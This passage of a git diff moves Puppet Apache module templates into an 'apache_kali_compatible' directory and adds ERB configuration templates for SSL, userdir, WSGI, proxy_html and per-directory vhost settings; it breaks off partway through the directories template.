modules/services/unix/http/apache_kali_compatible/apache/templates/mod/ext_filter.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/fastcgi.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/fastcgi.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/fastcgi.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/fastcgi.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/fcgid.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/fcgid.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/fcgid.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/fcgid.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/geoip.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/geoip.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/geoip.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/geoip.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/info.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/info.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/info.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/info.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/itk.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/itk.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/itk.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/itk.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/ldap.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/ldap.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/ldap.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/ldap.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/load.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/load.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/load.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/load.erb diff --git a/modules/services/unix/http/apache/templates/mod/mime.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/mime.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/mime.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/mime.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/mime_magic.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/mime_magic.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/mime_magic.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/mime_magic.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/mpm_event.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/mpm_event.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/mpm_event.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/mpm_event.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/negotiation.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/negotiation.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/negotiation.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/negotiation.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/nss.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/nss.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/nss.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/nss.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/pagespeed.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/pagespeed.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/pagespeed.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/pagespeed.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/passenger.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/passenger.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/passenger.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/passenger.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/peruser.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/peruser.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/peruser.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/peruser.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/php.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/php.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/php.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/php.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/prefork.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/prefork.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/prefork.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/prefork.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/proxy.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/proxy.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/proxy.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/proxy.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/proxy_balancer.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/proxy_balancer.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/proxy_balancer.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/proxy_balancer.conf.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/proxy_html.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/proxy_html.conf.erb new file mode 100644 index 000000000..f2f0bc0ce --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/proxy_html.conf.erb @@ -0,0 +1,19 @@ +ProxyHTMLLinks a href +ProxyHTMLLinks area href +ProxyHTMLLinks link href +ProxyHTMLLinks img src longdesc usemap +ProxyHTMLLinks object classid codebase data usemap +ProxyHTMLLinks q cite +ProxyHTMLLinks blockquote cite +ProxyHTMLLinks ins cite +ProxyHTMLLinks del cite +ProxyHTMLLinks form action +ProxyHTMLLinks input src usemap +ProxyHTMLLinks head profileProxyHTMLLinks base href +ProxyHTMLLinks script src for +ProxyHTMLLinks base href + +ProxyHTMLEvents onclick ondblclick onmousedown onmouseup \ + onmouseover onmousemove onmouseout onkeypress \ + onkeydown onkeyup onfocus onblur onload \ + onunload onsubmit onreset onselect onchange diff --git a/modules/services/unix/http/apache/templates/mod/remoteip.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/remoteip.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/remoteip.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/remoteip.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/reqtimeout.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/reqtimeout.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/reqtimeout.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/reqtimeout.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/rpaf.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/rpaf.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/rpaf.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/rpaf.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/security.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/security.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/security.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/security.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/security_crs.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/security_crs.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/security_crs.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/security_crs.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/setenvif.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/setenvif.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/setenvif.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/setenvif.conf.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/ssl.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/ssl.conf.erb new file mode 100644 index 000000000..5fa7bb9ba --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/ssl.conf.erb @@ -0,0 +1,44 @@ + + SSLRandomSeed startup builtin + SSLRandomSeed startup file:/dev/urandom <%= @ssl_random_seed_bytes %> + SSLRandomSeed connect builtin + SSLRandomSeed connect file:/dev/urandom <%= @ssl_random_seed_bytes %> + + AddType application/x-x509-ca-cert .crt + AddType application/x-pkcs7-crl .crl + + SSLPassPhraseDialog <%= @ssl_pass_phrase_dialog %> + SSLSessionCache "shmcb:<%= @ssl_sessioncache %>" + SSLSessionCacheTimeout <%= @ssl_sessioncachetimeout %> + <%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> + Mutex <%= @_ssl_mutex %> + <%- if @ssl_compression -%> + SSLCompression <%= scope.function_bool2httpd([@ssl_compression]) %> + <%- end -%> + <%- else -%> + SSLMutex <%= @_ssl_mutex %> + <%- end -%> + SSLCryptoDevice <%= @ssl_cryptodevice %> + SSLHonorCipherOrder <%= scope.function_bool2httpd([@_ssl_honorcipherorder]) %> + <%- if @ssl_ca -%> + SSLCACertificateFile "<%= @ssl_ca %>" + <%- end -%> +<% if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> + SSLUseStapling <%= scope.function_bool2httpd([@ssl_stapling]) %> + <%- if not @ssl_stapling_return_errors.nil? -%> + SSLStaplingReturnResponderErrors <%= scope.function_bool2httpd([@ssl_stapling_return_errors]) %> + <%- end -%> + SSLStaplingCache "shmcb:<%= @stapling_cache %>" +<% end -%> + SSLCipherSuite <%= @ssl_cipher %> + SSLProtocol <%= @ssl_protocol.compact.join(' ') %> +<% if not @ssl_proxy_protocol.empty? -%> + SSLProxyProtocol <%= @ssl_proxy_protocol.compact.join(' ') %> +<% end -%> +<% if @ssl_options -%> + SSLOptions <%= @ssl_options.compact.join(' ') %> +<% end -%> +<%- if @ssl_openssl_conf_cmd -%> + SSLOpenSSLConfCmd <%= @ssl_openssl_conf_cmd %> +<%- end -%> + diff --git a/modules/services/unix/http/apache/templates/mod/status.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/status.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/status.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/status.conf.erb diff --git a/modules/services/unix/http/apache/templates/mod/suphp.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/suphp.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/suphp.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/suphp.conf.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/userdir.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/userdir.conf.erb new file mode 100644 index 000000000..323a1af1d --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/userdir.conf.erb @@ -0,0 +1,27 @@ + +<% if @disable_root -%> + UserDir disabled root +<% end -%> + UserDir <%= @_path %> + + /*/<%= @dir %>"> + AllowOverride <%= @overrides.join(' ') %> + Options <%= @options.join(' ') %> + + <%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> + Require all granted + <%- else -%> + Order allow,deny + Allow from all + <%- end -%> + + + <%- if scope.function_versioncmp([@_apache_version, '2.4']) >= 0 -%> + Require all granted + <%- else -%> + Order allow,deny + Allow from all + <%- end -%> + + + diff --git a/modules/services/unix/http/apache/templates/mod/worker.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/worker.conf.erb similarity index 100% rename from modules/services/unix/http/apache/templates/mod/worker.conf.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/mod/worker.conf.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/wsgi.conf.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/wsgi.conf.erb new file mode 100644 index 000000000..1d83e5a84 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/mod/wsgi.conf.erb @@ -0,0 +1,16 @@ +# The WSGI Apache module configuration file is being +# managed by Puppet an changes will be overwritten. + + <%- if @wsgi_restrict_embedded -%> + WSGIRestrictEmbedded <%= scope.function_bool2httpd([@wsgi_restrict_embedded]) %> + <%- end -%> + <%- if @wsgi_socket_prefix -%> + WSGISocketPrefix <%= @wsgi_socket_prefix %> + <%- end -%> + <%- if @wsgi_python_home -%> + WSGIPythonHome "<%= @wsgi_python_home %>" + <%- end -%> + <%- if @wsgi_python_path -%> + WSGIPythonPath "<%= @wsgi_python_path %>" + <%- end -%> + diff --git a/modules/services/unix/http/apache/templates/namevirtualhost.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/namevirtualhost.erb similarity index 100% rename from modules/services/unix/http/apache/templates/namevirtualhost.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/namevirtualhost.erb diff --git a/modules/services/unix/http/apache/templates/ports_header.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/ports_header.erb similarity index 100% rename from modules/services/unix/http/apache/templates/ports_header.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/ports_header.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_access_log.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_access_log.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_access_log.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_access_log.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_action.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_action.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_action.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_action.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_additional_includes.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_additional_includes.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_additional_includes.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_additional_includes.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_aliases.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_aliases.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_aliases.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_aliases.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_allow_encoded_slashes.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_allow_encoded_slashes.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_allow_encoded_slashes.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_allow_encoded_slashes.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_auth_cas.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_auth_cas.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_auth_cas.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_auth_cas.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_auth_kerb.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_auth_kerb.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_auth_kerb.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_auth_kerb.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_block.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_block.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_block.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_block.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_charsets.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_charsets.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_charsets.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_charsets.erb diff --git a/modules/services/unix/http/apache/templates/vhost/_custom_fragment.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_custom_fragment.erb similarity index 100% rename from modules/services/unix/http/apache/templates/vhost/_custom_fragment.erb rename to modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_custom_fragment.erb diff --git a/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_directories.erb b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_directories.erb new file mode 100644 index 000000000..8a1706432 --- /dev/null +++ b/modules/services/unix/http/apache_kali_compatible/apache/templates/vhost/_directories.erb @@ -0,0 +1,345 @@ +<% if @_directories and ! @_directories.empty? -%> + + <%- scope.setvar('_template_scope', {}) -%> + ## Directories, there should at least be a declaration for <%= @docroot %> + <%- [@_directories].flatten.compact.each do |directory| -%> + <%- if scope.function_versioncmp([@apache_version, '2.4']) >= 0 -%> + <%- if directory['allow'] and ! [ false, 'false', '' ].include?(directory['allow']) -%> + <%- scope.function_warning(["Apache::Vhost: Using allow is deprecated in your Apache version"]) -%> + <%- end -%> + <%- if directory['deny'] and ! [ false, 'false', '' ].include?(directory['deny']) -%> + <%- scope.function_warning(["Apache::Vhost: Using deny is deprecated in your Apache version"]) -%> + <%- end -%> + <%- if directory['order'] and ! [ false, 'false', '' ].include?(directory['order']) -%> + <%- scope.function_warning(["Apache::Vhost: Using order is deprecated in your Apache version"]) -%> + <%- end -%> + <%- if directory['satisfy'] and ! [ false, 'false', '' ].include?(directory['satisfy']) -%> + <%- scope.function_warning(["Apache::Vhost: Using satisfy is deprecated in your Apache version"]) -%> + <%- end -%> + <%- end -%> + <%- if directory['path'] and directory['path'] != '' -%> + <%- if directory['provider'] and directory['provider'].match('(directory|location|files|proxy)') -%> + <%- if /^(.*)match$/ =~ directory['provider'] -%> + <%- provider = $1.capitalize + 'Match' -%> + <%- else -%> + <%- provider = directory['provider'].capitalize -%> + <%- end -%> + <%- else -%> + <%- provider = 'Directory' -%> + <%- end -%> + <%- path = directory['path'] -%> + + <<%= provider %> "<%= path %>"> + <%- if directory['headers'] -%> + <%- Array(directory['headers']).each do |header| -%> + Header <%= header %> + <%- end -%> + <%- end -%> + <%- if ! directory['geoip_enable'].nil? -%> + GeoIPEnable <%= scope.function_bool2httpd([directory['geoip_enable']]) %> + <%- end -%> + <%- if directory['options'] -%> + Options <%= Array(directory['options']).join(' ') %> + <%- end -%> + <%- if provider == 'Directory' -%> + <%- if directory['index_options'] -%> + IndexOptions <%= Array(directory['index_options']).join(' ') %> + <%- end -%> + <%- if directory['index_order_default'] -%> + IndexOrderDefault <%= Array(directory['index_order_default']).join(' ') %> + <%- end -%> + <%- if directory['index_style_sheet'] -%> + IndexStyleSheet '<%= directory['index_style_sheet'] %>' + <%- end -%> + <%- if directory['allow_override'] -%> + AllowOverride <%= Array(directory['allow_override']).join(' ') %> + <%- elsif provider == 'Directory' -%> + AllowOverride None + <%- end -%> + <%- end -%> + <%- scope.lookupvar('_template_scope')[:item] = directory -%> +<%= scope.function_template(["apache/vhost/_require.erb"]) -%> + <%- if directory['limit'] && directory['limit'] != '' -%> + <%- Array(directory['limit']).each do |lim| -%> + > + <%- scope.lookupvar('_template_scope')[:item] = lim -%> + <%= scope.function_template(["apache/vhost/_require.erb"]) -%> + + <%- end -%> + <%- end -%> + <%- if directory['limit_except'] && directory['limit_except'] != '' -%> + <%- Array(directory['limit_except']).each do |lim| -%> + > + <%- scope.lookupvar('_template_scope')[:item] = lim -%> + <%= scope.function_template(["apache/vhost/_require.erb"]) -%> + + <%- end -%> + <%- end -%> + <%- if directory['addhandlers'] and ! directory['addhandlers'].empty? -%> + <%- [directory['addhandlers']].flatten.compact.each do |addhandler| -%> + )$"> + SetHandler <%= addhandler['handler'] %> + + <%- end -%> + <%- end -%> + <%- if directory['sethandler'] and directory['sethandler'] != '' -%> + SetHandler <%= directory['sethandler'] %> + <%- end -%> + <%- if directory['passenger_enabled'] and directory['passenger_enabled'] != '' -%> + PassengerEnabled <%= directory['passenger_enabled'] %> + <%- end -%> + <%- if directory['php_flags'] and ! directory['php_flags'].empty? -%> + <%- directory['php_flags'].sort.each do |flag,value| -%> + <%- value = if value =~ /true|yes|on|1/i then 'on' else 'off' end -%> + php_flag <%= "#{flag} #{value}" %> + <%- end -%> + <%- end -%> + <%- if directory['php_values'] and ! directory['php_values'].empty? -%> + <%- directory['php_values'].sort.each do |key,value| -%> + php_value <%= "#{key} #{value}" %> + <%- end -%> + <%- end -%> + <%- if directory['php_admin_flags'] and ! directory['php_admin_flags'].empty? -%> + <%- directory['php_admin_flags'].sort.each do |flag,value| -%> + <%- value = if value =~ /true|yes|on|1/i then 'on' else 'off' end -%> + php_admin_flag <%= "#{flag} #{value}" %> + <%- end -%> + <%- end -%> + <%- if directory['php_admin_values'] and ! directory['php_admin_values'].empty? -%> + <%- directory['php_admin_values'].sort.each do |key,value| -%> + php_admin_value <%= "#{key} #{value}" %> + <%- end -%> + <%- end -%> + <%- if directory['directoryindex'] and directory['directoryindex'] != '' -%> + DirectoryIndex <%= directory['directoryindex'] %> + <%- end -%> + <%- if directory['additional_includes'] and ! directory['additional_includes'].empty? -%> + <%- directory['additional_includes'].each do |include| -%> + Include '<%= "#{include}" %>' + <%- end -%> + <%- end -%> + <%- if directory['error_documents'] and ! directory['error_documents'].empty? -%> + <%- [directory['error_documents']].flatten.compact.each do |error_document| -%> + ErrorDocument <%= error_document['error_code'] %> <%= error_document['document'] %> + <%- end -%> + <%- end -%> + <%- if directory['dav'] -%> + Dav <%= directory['dav'] %> + <%- if directory['dav_depth_infinity'] -%> + DavDepthInfinity <%= scope.function_bool2httpd([directory['dav_depth_infinity']]) %> + <%- end -%> + <%- if directory['dav_min_timeout'] -%> + DavMinTimeout <%= directory['dav_min_timeout'] %> + <%- end -%> + <%- end -%> + <%- if directory['auth_type'] -%> + AuthType <%= directory['auth_type'] %> + <%- end -%> + <%- if directory['auth_name'] -%> + AuthName "<%= directory['auth_name'] %>" + <%- end -%> + <%- if directory['auth_digest_algorithm'] -%> + AuthDigestAlgorithm <%= directory['auth_digest_algorithm'] %> + <%- end -%> + <%- if directory['auth_digest_domain'] -%> + AuthDigestDomain <%= Array(directory['auth_digest_domain']).join(' ') %> + <%- end -%> + <%- if directory['auth_digest_nonce_lifetime'] -%> + AuthDigestNonceLifetime <%= directory['auth_digest_nonce_lifetime'] %> + <%- end -%> + <%- if directory['auth_digest_provider'] -%> + AuthDigestProvider <%= directory['auth_digest_provider'] %> + <%- end -%> + <%- if directory['auth_digest_qop'] -%> + AuthDigestQop <%= directory['auth_digest_qop'] %> + <%- end -%> + <%- if directory['auth_digest_shmem_size'] -%> + AuthDigestShmemSize <%= directory['auth_digest_shmem_size'] %> + <%- end -%> + <%- if directory['auth_basic_authoritative'] -%> + AuthBasicAuthoritative <%= directory['auth_basic_authoritative'] %> + <%- end -%> + <%- if directory['auth_basic_fake'] -%> + AuthBasicFake <%= directory['auth_basic_fake'] %> + <%- end -%> + <%- if directory['auth_basic_provider'] -%> + AuthBasicProvider <%= directory['auth_basic_provider'] %> + <%- end -%> + <%- if directory['auth_user_file'] -%> + AuthUserFile <%= directory['auth_user_file'] %> + <%- end -%> + <%- if directory['auth_group_file'] -%> + AuthGroupFile <%= directory['auth_group_file'] %> + <%- end -%> + <%- if directory['auth_merging'] -%> + AuthMerging <%= directory['auth_merging'] %> + <%- end -%> + <%- if directory['auth_ldap_url'] -%> + AuthLDAPURL <%= directory['auth_ldap_url'] %> + <%- end -%> + <%- if directory['auth_ldap_bind_dn'] -%> + AuthLDAPBindDN <%= directory['auth_ldap_bind_dn'] %> + <%- end -%> + <%- if directory['auth_ldap_bind_password'] -%> + AuthLDAPBindPassword <%= directory['auth_ldap_bind_password'] %> + <%- end -%> + <%- if directory['auth_ldap_group_attribute'] -%> + <%- Array(directory['auth_ldap_group_attribute']).each do |groupattr| -%> + AuthLDAPGroupAttribute <%= groupattr %> + <%- end -%> + <%- end -%> + <%- if directory['auth_ldap_group_attribute_is_dn'] == 'off' -%> + AuthLDAPGroupAttributeIsDN Off + <%- end -%> + <%- if directory['auth_ldap_group_attribute_is_dn'] == 'on' -%> + AuthLDAPGroupAttributeIsDN On + <%- end -%> + <%- if directory['fallbackresource'] -%> + FallbackResource <%= directory['fallbackresource'] %> + <%- end -%> + <%- if directory['expires_active'] -%> + ExpiresActive <%= directory['expires_active'] %> + <%- end -%> + <%- if directory['expires_default'] -%> + ExpiresDefault <%= directory['expires_default'] %> + <%- end -%> + <%- if directory['expires_by_type'] -%> + <%- Array(directory['expires_by_type']).each do |rule| -%> + ExpiresByType <%= rule %> + <%- end -%> + <%- end -%> + <%- if directory['ext_filter_options'] -%> + ExtFilterOptions <%= directory['ext_filter_options'] %> + <%- end -%> + <%- if directory['force_type'] -%> + ForceType <%= directory['force_type'] %> + <%- end -%> + <%- if directory['add_charset'] -%> + AddCharset <%= directory['add_charset'] %> + <%- end -%> + <%- if directory['ssl_options'] -%> + SSLOptions <%= Array(directory['ssl_options']).join(' ') %> + <%- end -%> + <%- if directory['suphp'] and @suphp_engine == 'on' -%> + suPHP_UserGroup <%= directory['suphp']['user'] %> <%= directory['suphp']['group'] %> + <%- end -%> + <%- if directory['fcgiwrapper'] -%> + FcgidWrapper <%= directory['fcgiwrapper']['command'] %> <%= directory['fcgiwrapper']['suffix'] %> <%= directory['fcgiwrapper']['virtual'] %> + <%- end -%> + <%- if directory['rewrites'] -%> + # Rewrite rules + RewriteEngine On + <%- directory['rewrites'].flatten.compact.each do |rewrite_details| -%> + <%- if rewrite_details['comment'] -%> + #<%= rewrite_details['comment'] %> + <%- end -%> + <%- if rewrite_details['rewrite_base'] -%> + RewriteBase <%= rewrite_details['rewrite_base'] %> + <%- end -%> + <%- if rewrite_details['rewrite_cond'] -%> + <%- Array(rewrite_details['rewrite_cond']).each do |commands| -%> + <%- Array(commands).each do |command| -%> + RewriteCond <%= command %> + <%- end -%> + <%- end -%> + <%- end -%> + <%- Array(rewrite_details['rewrite_rule']).each do |commands| -%> + <%- Array(commands).each do |command| -%> + RewriteRule <%= command %> + <%- end -%> + <%- end -%> + <%- end -%> + <%- end -%> + <%- if directory['setenv'] -%> + <%- Array(directory['setenv']).each do |setenv| -%> + SetEnv <%= setenv %> + <%- end -%> + <%- end -%> + <%- if directory['set_output_filter'] -%> + SetOutputFilter <%= directory['set_output_filter'] %> + <%- end -%> + <%- if @shibboleth_enabled -%> + <%- if directory['shib_require_session'] and ! directory['shib_require_session'].empty? -%> + ShibRequireSession <%= directory['shib_require_session'] %> + <%- end -%> + <%- if directory['shib_request_settings'] and ! directory['shib_request_settings'].empty? -%> + <%- directory['shib_request_settings'].each do |key,value| -%> + ShibRequestSetting <%= key %> <%= value %> + <%- end -%> + <%- end -%> + <%- if directory['shib_use_headers'] and ! directory['shib_use_headers'].empty? -%> + ShibUseHeaders <%= directory['shib_use_headers'] %> + <%- end -%> + <%- end -%> + <%- if @cas_enabled -%> + <%- if directory['cas_scope'] -%> + CASScope <%= directory['cas_scope'] %> + <%- end -%> + <%- if directory['cas_renew'] -%> + CASRenew <%= directory['cas_renew'] %> + <%- end -%> + <%- if directory['cas_gateway'] -%> + CASGateway <%= directory['cas_gateway'] %> + <%- end -%> + <%- if directory['cas_cookie'] -%> + CASCookie <%= directory['cas_cookie'] %> + <%- end -%> + <%- if directory['cas_secure_cookie'] -%> + CASSecureCookie <%= directory['cas_secure_cookie'] %> + <%- end -%> + <%- if directory['cas_gateway_cookie'] -%> + CASGatewayCookie <%= directory['cas_gateway_cookie'] %> + <%- end -%> + <%- if directory['cas_authn_header'] -%> + CASAuthNHeader <%= directory['cas_authn_header'] %> + <%- end -%> + <%- end -%> + <%- if directory['mellon_enable'] -%> + MellonEnable "<%= directory['mellon_enable'] %>" + <%- if directory['mellon_endpoint_path'] -%> + MellonEndpointPath "<%= directory['mellon_endpoint_path'] %>" + <%- end -%> + <%- if directory['mellon_sp_private_key_file'] -%> + MellonSPPrivateKeyFile "<%= directory['mellon_sp_private_key_file'] %>" + <%- end -%> + <%- if directory['mellon_sp_cert_file'] -%> + MellonSPCertFile "<%= directory['mellon_sp_cert_file'] %>" + <%- end -%> + <%- if directory['mellon_sp_metadata_file'] -%> + MellonSPMetadataFile "<%= directory['mellon_sp_metadata_file'] %>" + <%- end -%> + <%- if directory['mellon_idp_metadata_file'] -%> + MellonIDPMetadataFile "<%= directory['mellon_idp_metadata_file'] %>" + <%- end -%> + <%- if directory['mellon_set_env_no_prefix'] -%> + <%- directory['mellon_set_env_no_prefix'].each do |key, value| -%> + MellonSetEnvNoPrefix "<%= key %>" "<%= value %>" + <%- end -%> + <%- end -%> + <%- if directory['mellon_user'] -%> + MellonUser "<%= directory['mellon_user'] %>" + <%- end -%> + <%- if directory['mellon_saml_response_dump'] -%> + MellonSamlResponseDump "<%= 